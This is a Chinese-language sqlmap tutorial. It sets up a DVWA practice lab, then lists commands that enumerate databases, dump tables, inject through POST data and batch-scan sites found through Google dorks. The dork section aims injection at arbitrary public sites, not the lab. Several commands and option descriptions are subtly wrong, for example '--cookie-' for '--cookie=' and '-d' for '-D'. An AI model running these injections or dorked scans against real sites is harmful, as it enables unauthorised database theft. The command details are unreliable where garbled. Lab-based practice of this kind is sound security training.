一.Sqlmap的安装
- 安装python2.7.13
- 安装 sqlmap
- 增加sqlmap的路径进入系统环境 并运行 ‘sqlmap.py’ 验证是否成功
二.搭建运行环境
- 安装xammp环境
- 修改hosts和 apache的vhosts
- 下载测试web页dvwa去Github下载
- 解压到root内制定位置
修改dvwa文件夹里面的config文件夹内修改数据库数据
config.inc.php
$DVWA["db-server"] = "127.0.0.1"; $DVWA["db-database"] = "dvwa"; $DVWA["db-user"] = "root"; $DVWA["db-password"] = "password"; $DVWA["db-port"] = "3306"
www.dvwa.com
创建使用的账号和密码是admin
和password
三.Sqlmap的使用方法和测试简介
1.sqlmap的参数格式
options 选项
-h,--help 显示帮助
--h 更多帮助
--version 版本信息
-v VERBOSE 详细级别 0-6 (默认1)
Target 目标
以下至少要设置一个值用来指定目标URL
-d DIRECT 直接连接到数据库
-u URL, -url=URL 目标URL
-i LIST,从 Burp或者 Webscarap代理日志中解析目标
-r REQUESTFILE, 从一个文件中载入http请求
-g GOOGLEDORK, 从google dork的结果作为目标URL
-c CONFIGFILE, 从INI配置文件中加载选项
Request请求
以下选项用来指定如何连接到目标URL
-data=DATA 通过POST发送的数据字符串
-cookie=COOKIE Http Cookie头
-cookie-urlencode URL编码生成的cookie注入
-drop-set-cookie 忽略响应的Set-cookie头信息
-user-agent=Agent 指定HTTP User -Agent头
-random-agent 使用随机指定的 Http User-Agent头
-referer=REFERER 指定Http Referer头
-headers=HEADERS 换行分开,加入其他HTTP头
-auth-type=ATYPE HTTP身份验证类型,(基本,摘要,或NTLM),Basic,Digest orNTLM
-auth-cred=ACRED HTTP身份验证凭据(账号/密码)
-auth-cret=ACRET HTTP认证证书(key-file,cert-file)
-proxy=PROXY 使用http代理连接到目标URL
-proxy-cred=PCRED 代理身份验证凭据(账号.密码)
-ignore-proxy 忽略系统默认的代理
-delay=DELAY 每个请求中间的延迟时间,单位为秒
-timeout=TIMEOUT 每个请求的超时时间,默认30s
-retries=RETRIES 等待连接超时的时间 默认3s
-scope=SCOPE 从所提供的代理日志中过滤目标的正则表达式
-safe-url=SAFEURL 测试过程中经常访问的URL
-safe-freg=SAFREG 两次访问直接的测试请求,给出安全的URL
eg: sqlmap.py --version
2.测试格式
sqlmap.py -u的用法
不用登陆可以用这个-u进行
$ sqlmap.py -u URL COOKIE
eg:
sqlmap.py -u "http://localhost/dvwa/?id=xxx" --cookie="PHPSESSION=xxxxxx"
sqlmpa.py -r 用法
需要登录时,可以用这个-r进行
1. cd到网站根目录
2. 新建一个test.txt文件,把目标URL的header全部拷贝进入
3. 运行 sqlmap.py -r test.txt
四.获取数据库信息
1.查看数据库
枚举获取数据库:
sqlmap.py -u "http://xxxx.xxxx?xxx=xxx" --cookie-"xxxx" --dbs
2.扫描数据表
枚举数据表
sqlmap.py -u "http://xxxx.xxxx?xxx=xxx" --cookie-"xxxx" --tables
3.导出数据
- 转存数据库数据
sqlmap.py -u "http://xxxx.xxxx?xxx=xxx" --cookie-"xxxx" --dump
sqlmap.py -u "http://xxxx.xxxx?xxx=xxx" --cookie-"xxxx" --dump-all
- 下载保存指定数据库dvwa的所有表数据
sqlmap.py -u "http://xxxx.xxxx?xxx=xxx" --cookie-"xxxx" -d dvwa --dump -T helpkey
五.POST数据包注入
1. POST注入参数
样式如下,data的数据在F12的http header下面的form data源码显示内容
-batch 选择默认值
-smart 启发式判断
2. 如何用POST进行注入
sqlmap.py -u "http://xxx.xxxx/xxx.php?xx-xxx" --cookie="xxxxxx" --data="xxxx" --dbs -batch -smart
3.如何批量进行POST注入测试
sqlmap.py -l burp.txt -batch -smart
六.批量检测注入漏洞
1. 参数介绍
-g GOOGLEDROK 处理google drok的结果作为目标URL
2. 注意介绍
谷歌搜索语法
(google搜索栏输入) inure: admin.php?id=
3. 挖掘数据demo
好的关键词才能匹配好的注入点如 ?xxx=
sqlmap.py -g "inurl:abc123.com" --batch --smart